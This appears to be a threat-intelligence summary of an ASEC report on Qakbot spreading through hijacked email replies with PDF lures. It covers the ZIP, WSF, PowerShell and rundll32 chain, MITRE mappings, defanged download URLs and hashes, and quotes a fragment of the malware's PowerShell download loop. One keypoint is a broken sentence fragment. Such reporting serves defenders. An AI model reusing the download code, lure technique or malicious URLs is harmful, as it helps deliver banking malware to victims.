ASEC identifies Qakbot being distributed in Korea via hijacked email threads containing malicious PDF attachments. The attack chain involves opening the PDF, downloading a password-protected ZIP, an obfuscated WSF script, PowerShell, and rundll32 to execute Qakbot from remote URLs. Hashtags: #Qakbot #ASEC #Korea #PowerShell #Rundll32 #WSF #PDF #ZIP
Keypoints
- Qakbot banking malware is distributed through malicious PDFs attached to forwarded or replied emails and relies on hijacking existing threads.
- The distributed email appears to be a normal reply, using the original recipient and CC list to reach targets.
- Attachments have random filenames (e.g., UT.PDF, RA.PDF, NM.PDF) generated via automation to evade simple checks.
- Opening the PDF prompts the user to click an Open button, which redirects to a malicious URL and triggers a download.
- A password-protected ZIP file is downloaded and decompressed with a visible password (“755”) in the PDF.
- tag and uses PowerShell to download Qakbot.
- The Qakbot payload is downloaded (undersluice.Calctuffs) into the TMP directory and executed via rundll32.exe from remote URLs.
MITRE Techniques
- [T1566.001] Phishing: Spearphishing Attachment – The distributed email has the form of a hijacked normal email where a reply is sent to the target user with a malicious file attached to it. “The distributed email has the form of a hijacked normal email where a reply is sent to the target user with a malicious file attached to it.”
- [T1204.002] User Execution: Malicious File – Users are prompted to open the attachment in the forged email, which leads to the next stage. “they include messages that prompt users to open the attachment.”
- [T1027] Obfuscated/Compressed Files and Information – The WSF file contains obfuscated script code with meaningful content after decompression. “Investigation of the WSF file created upon decompression reveals a script code obfuscated among dummy text.”
- [T1059.001] PowerShell – The WSF payload executes via the PowerShell process to fetch and run the Qakbot component. “When the WSF file is executed, an encrypted data command is executed through the PowerShell process. Decrypting this data reveals the following.”
- [T1218.011] Signed Binary Proxy Execution: Rundll32 – The Qakbot binary is downloaded and executed through rundll32.exe. “The Qakbot binary is downloaded … and executed through the rundll32.exe process.”
- [T1105] Ingress Tool Transfer – The Qakbot binary is downloaded from remote URLs as part of the PowerShell sequence. “Start-Sleep -Seconds 2; $Girnie = (…).split(‘,’); foreach ($reflexional in $Girnie) {try {wget $reflexional …;}}”
- [T1071.001] Web Protocols – The malware relies on HTTP/HTTPS requests to fetch the payloads from remote servers. (Referenced via multiple remote URLs used in the PowerShell sequence.)
Indicators of Compromise
- [URL] Malicious download/redirect destinations – hxxp://milleniuninformatica.com[.]br/Le9/jGjSkvEqmXp, hxxps://qassimnews[.]com/yweNej/kQBDu, and 8 more URLs
- [MD5] File hashes for payloads – 19c1526182fe5ed0f1abfafc98d84df9, c9ab1cd04e796fd7f084a1dd2d40cc2d
- [File name] Downloaded Qakbot binary named – undersluice.Calctuffs
Read more: https://asec.ahnlab.com/en/51282/